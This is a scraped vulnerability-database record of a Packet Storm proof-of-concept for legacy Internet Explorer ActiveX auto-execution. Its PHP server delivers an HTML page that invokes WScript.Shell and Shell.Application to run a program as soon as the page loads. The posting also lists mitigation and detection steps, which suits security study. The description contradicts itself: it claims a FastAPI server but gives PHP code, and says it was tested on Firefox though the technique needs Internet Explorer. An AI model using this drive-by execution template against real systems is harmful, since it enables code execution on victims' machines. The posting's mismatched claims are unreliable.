{“lastseen”:”2025-12-17T16:39:02″,”description”:”This proof of concept demonstrates how legacy ActiveX objects in Internet Explorer can be invoked automatically when a crafted HTML payload is delivered by a minimal HTTP server. The proof of concept shows automatic execution attempts using…”,”published”:”2025-12-17T00:00:00″,”modified”:”2025-12-17T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 FastAPI\u2011Based Delivery Server Proof of Concept”,”source”:””,”references”:””,”id”:”PACKETSTORM:212924″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-54100″],”sourceData”:”=============================================================================================================================================\\n | # Title : Analyzing Legacy ActiveX Execution Behavior via a FastAPI\u2011Based Delivery Server |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : System built\u2011in component. No standalone download available. |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212823\/ \\u0026 CVE-2025-54100\\n \\n [+] Summary : This script is a FastAPI + Uvicorn Proof\u2011of\u2011Concept server created for educational and historical analysis related to CVE\u20112025\u201154100.\\n \\n Important limitations:\\n \\n [!] Does NOT work on modern browsers\\n \\n [!] Does NOT execute real commands today\\n \\n [!] Not a real exploit\\n \\n [!] Safe for educational demonstration only\\n \\n [+] Technical context:\\n \\n The JavaScript payload uses legacy ActiveX calls such as:\\n \\n new ActiveXObject(\\”WScript.Shell\\”).Run(\\”calc.exe\\”);\\n \\n These techniques only worked in the past under very specific conditions:\\n \\n Internet Explorer\\n \\n ActiveX explicitly enabled\\n \\n Extremely low security settings\\n \\n All modern browsers and operating systems fully block this behavior.\\n \\n [+] What the PoC demonstrates:\\n \\n How ActiveX-based execution was historically dangerous\\n \\n Why Microsoft and browser vendors permanently disabled ActiveX\\n \\n How browser security policies evolved over time\\n \\n Why legacy exploit techniques are no longer viable\\n \\n Why it may appear dangerous to some:\\n \\n The code looks \u201cpowerful\u201d\\n \\n The presence of a CVE identifier suggests severity\\n \\n In reality, it relies entirely on deprecated and extinct technologies\\n \\n [+] Purpose:\\n \\n Academic reference\\n \\n Security history education\\n \\n Legacy vulnerability analysis\\n \\n Not intended for exploitation or real\u2011world attacks\\n \\n [+] Vendor :\\n \\n Microsoft (Internet Explorer \u2013 Legacy Components)\\n \\n [+] Affected Products :\\n \\n Internet Explorer (legacy versions with ActiveX enabled)\\n \\n Windows systems where ActiveX and scripting are explicitly allowed\\n \\n [+] Affected Components :\\n \\n WScript.Shell\\n \\n Shell.Application\\n \\n ActiveX scripting interfaces exposed to the browser context\\n \\n [+] Severity :\\n \\n Medium (Historical \/ Legacy Risk)\\n \\n This issue is considered historical and non\u2011exploitable on modern browsers. It is relevant for research environments, legacy systems, and defensive analysis only.\\n \\n [+] POC\\n \\n This Proof of Concept (PoC) demonstrates how legacy ActiveX objects in Internet Explorer can be invoked automatically when a crafted HTML payload is delivered by a minimal HTTP server. \\n The PoC shows automatic execution attempts using WScript.Shell and Shell.Application without additional user interaction beyond page rendering.\\n \\n Modern browsers have fully mitigated this behavior by disabling ActiveX. The PoC is intended strictly for educational, defensive, and historical security research.\\n \\n [+] Technical Details :\\n \\n When Internet Explorer is configured to:\\n \\n Allow ActiveX execution\\n \\n Trust the hosting zone\\n \\n Permit scripting of unsafe controls\\n \\n a web page can attempt to instantiate legacy COM objects such as:\\n \\n new ActiveXObject(\\”WScript.Shell\\”)\\n new ActiveXObject(\\”Shell.Application\\”)\\n \\n The PoC delivers an HTML payload that attempts command execution (e.g., launching calc.exe) immediately upon page load.\\n \\n The server also exposes a \/log endpoint to demonstrate client\u2011side execution reporting.\\n \\n [+] PoC Behavior\\n \\n Lightweight HTTP server\\n \\n Serves crafted HTML payload\\n \\n Attempts ActiveX execution on page load\\n \\n Logs client activity to console\\n \\n Supported Environment (PoC)\\n \\n [+] Windows\\n \\n Internet Explorer (legacy)\\n \\n ActiveX enabled\\n \\n Trusted security zone\\n \\n [+] PHP PoC Code : php poc.php\\n \\n \\u003c?php\\n \/**\\n * ActiveX Legacy Auto-Execution PoC\\n * by indoushka\\n * PHP 5.6+\\n *\/\\n \\n set_time_limit(0);\\n error_reporting(E_ALL);\\n \\n $HOST = \\”0.0.0.0\\”;\\n $PORT = 8888;\\n $BUF = 4096;\\n \\n function payload_html() {\\n return \\u003c\\u003c\\u003cHTML\\n \\u003c!DOCTYPE html\\u003e\\n \\u003chtml\\u003e\\n \\u003chead\\u003e\\n \\u003ctitle\\u003eActiveX Legacy PoC\\u003c\/title\\u003e\\n \\u003cmeta http-equiv=\\”X-UA-Compatible\\” content=\\”IE=10\\”\\u003e\\n \\u003c\/head\\u003e\\n \\u003cbody\\u003e\\n \\u003ch2\\u003ePoC Ready\\u003c\/h2\\u003e\\n \\u003cscript\\u003e\\n try {\\n new ActiveXObject(\\”WScript.Shell\\”).Run(\\”calc.exe\\”);\\n } catch(e) {}\\n \\n try {\\n new ActiveXObject(\\”Shell.Application\\”)\\n .ShellExecute(\\”calc.exe\\”,\\”\\”,\\”\\”,\\”open\\”,1);\\n } catch(e) {}\\n \\u003c\/script\\u003e\\n \\u003c\/body\\u003e\\n \\u003c\/html\\u003e\\n HTML;\\n }\\n \\n $server = stream_socket_server(\\”tcp:\/\/$HOST:$PORT\\”, $e, $s);\\n echo \\”[+] Listening on $HOST:$PORT\\\\n\\”;\\n \\n while ($c = stream_socket_accept($server)) {\\n $req = fread($c, $BUF);\\n \\n if (preg_match(‘#GET \/log\\\\?msg=([^ ]+)#’, $req, $m)) {\\n echo \\”[CLIENT_LOG] \\”.urldecode($m[1]).\\”\\\\n\\”;\\n fwrite($c,\\”HTTP\/1.1 200 OK\\\\r\\\\n\\\\r\\\\nOK\\”);\\n fclose($c);\\n continue;\\n }\\n \\n if (strpos($req,\\”GET \/ \\”) === 0) {\\n $html = payload_html();\\n fwrite($c,\\n \\”HTTP\/1.1 200 OK\\\\r\\\\n\\”.\\n \\”Content-Type: text\/html\\\\r\\\\n\\”.\\n \\”Content-Length: \\”.strlen($html).\\”\\\\r\\\\n\\\\r\\\\n\\”.\\n $html\\n );\\n } else {\\n fwrite($c,\\”HTTP\/1.1 404 Not Found\\\\r\\\\n\\\\r\\\\n\\”);\\n }\\n fclose($c);\\n }\\n \\n \\n Expected output:\\n \\n [+] Listening on 0.0.0.0:8888\\n \\n 3. Access the PoC\\n \\n Open Internet Explorer (legacy) and navigate to:\\n \\n http:\/\/SERVER_IP:8888\/\\n \\n \\n \u26a0\ufe0f ActiveX must be enabled\\n \u26a0\ufe0f Page must be in a trusted zone\\n \\n [+] Impact :\\n \\n Demonstrates automatic invocation of legacy COM objects\\n \\n Highlights historical browser trust\u2011boundary issues\\n \\n No impact on modern browsers\\n \\n [+] Useful for:\\n \\n Security training\\n \\n Blue\u2011team detection logic\\n \\n Legacy system audits\\n \\n [+] Mitigation :\\n \\n Disable Internet Explorer\\n \\n Disable ActiveX entirely\\n \\n Use modern browsers (Edge, Chrome, Firefox)\\n \\n Enforce Group Policy restrictions on scripting and COM access\\n \\n [+] Detection :\\n \\n Defensive teams can monitor for:\\n \\n Instantiation of WScript.Shell from browser contexts\\n \\n Legacy IE process spawning child processes\\n \\n Unexpected COM object usage from iexplore.exe\\n \\n [+] Disclaimer :\\n \\n This Proof of Concept is provided for educational and research purposes only.\\n The author does not encourage misuse.\\n All testing should be conducted in isolated laboratory environments.\\n \\n [+] References :\\n \\n Microsoft ActiveX Security Documentation\\n \\n Legacy Internet Explorer Security Model\\n \\n COM Object Abuse Research\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212924″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212924\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
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